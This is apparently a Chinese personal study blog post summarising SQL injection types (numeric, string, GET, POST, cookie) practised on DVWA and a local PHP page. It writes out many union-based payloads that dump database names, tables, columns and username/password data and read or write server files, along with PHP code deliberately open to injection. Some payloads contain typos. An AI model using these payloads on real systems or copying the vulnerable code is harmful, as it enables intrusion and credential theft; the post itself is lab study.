SQL类型注入

前言:

继续进行未完成的sql注入学习

今天学习了各类型注入。前来进行总结。

目录:

数字型注入

字符型注入

提交注注入

GET注入

POST注入

COOKIE注入

正文:

 

数字型注入:www.xxxx.com?/xx.php?id=1 and 1=1
可以直接注入不需要闭合单引号.
sql执行出的语句:select * from user where id=1 and 1=1
 
 
需要闭合注入,否则注入语句都会变为字符串
sql执行出的语句:select * from where frit_name='lis'
 
 
 
判断是否为字符型注入: DVWA为例子
输入1返回正确

 

输入1'返回错误

 

 
 
由此可以判断出为字符型注入
尝试猜字段
1' order by 1 #

 

1' order by 1,2 #

 

1' order by 1,2,3 #,报错,字段为2
爆显位
1' union select 1,2 #
获取数据库名,1' union select database(),2 #
用户名 1' union select user(),2 #  root权限
数据库版本 1' union select vsersion(),2 #
猜解所有表名 1' union select table_name,2 from information_schema.tables #
猜解所有字段名 1' union select column_name,2 from information_columns #
读取文件= =读不出来蛮尴尬的。
1' union select load_file('xxx'),2 #

写入文件的语句

1' union select 'xxxxx' into outfile 'xxx.txt' #

 

GET注入:

GET注入,顾名思义GET。只要注入的时候

用GET的方式提交就好。

and 1=1

and 1=2

order by 1,2,3

union select database(),version(),user()

union select table_name,2,3 from information_schema where table_schema=HEX #指定数据库的HEX编码

union select column_name,2,3 from informtaion_schema where table_name=HEX #指定数据库的HEX编码

union select 指定字段名 from 指定表名 例:union select username,password from user

 

POST注入:

提交方式用POST方式提交

POST.html代码

 

<html>
<head>
<title>POST注入</title>
</head>
<body>
<div style="color:blue;text-align:center">
<h2>POST注入尝试</h2>
<form action="sqlin.php" method="POST">
<input type="text" name="x">
<input type="submit" value="提交">
</form>
</div>
</body>
</html>

  

sqllin.php代码

//fendo数据库root用户连接mysql数据库,操作user表 
<? 
$id= $_POST['x'];//接受get传递的参数名x的值并赋值给变量id 
$conn = mysql_connect('127.0.0.1','root','root');//连接mysql数据库 
mysql_select_db('fendo',$conn);//选择$conn连接请求下的test数据库名 
$sql = "select * from user where id=$id";//定义sql语句并组合变量id 
$result = mysql_query($sql);//执行sql语句并返回给变量result 
while($row = mysql_fetch_array($result)){//遍历数组数据并显示 
echo "ID".$row['id']."</br>"; 
echo "用户名".$row['username']."</br>"; 
echo "密码".$row['password']."</br>"; 
} 
mysql_close($conn);//关闭数据库连接 
echo "<hr>"; 
echo "当前语句:"; 
echo $sql;
?> 

 尝试注入

1 and 1=1

1 and 1=2

存在注入。

猜长度

1 order by 1 #返回正常

1 order by 1,2 #返回正常

1 order by 1,2,3 #返回正常

1 order by 1,2,3,4 #返回错误

长度为3

获取数据库名,数据库版本,数据库用户

1 union select databse(),version(),user()

爆出DVWA的表

1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761

 

爆出DVWA下users表的字段

1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273

爆出我要的字段

1 union select username,password,3 from user

Cookie注入:

cookie注入:点我看详细注入

学习完这些后,可以画出这么一幅图

盲注目前还没学

posted on 2018-04-14 16:40  东京$  阅读(544)  评论(0编辑  收藏  举报

导航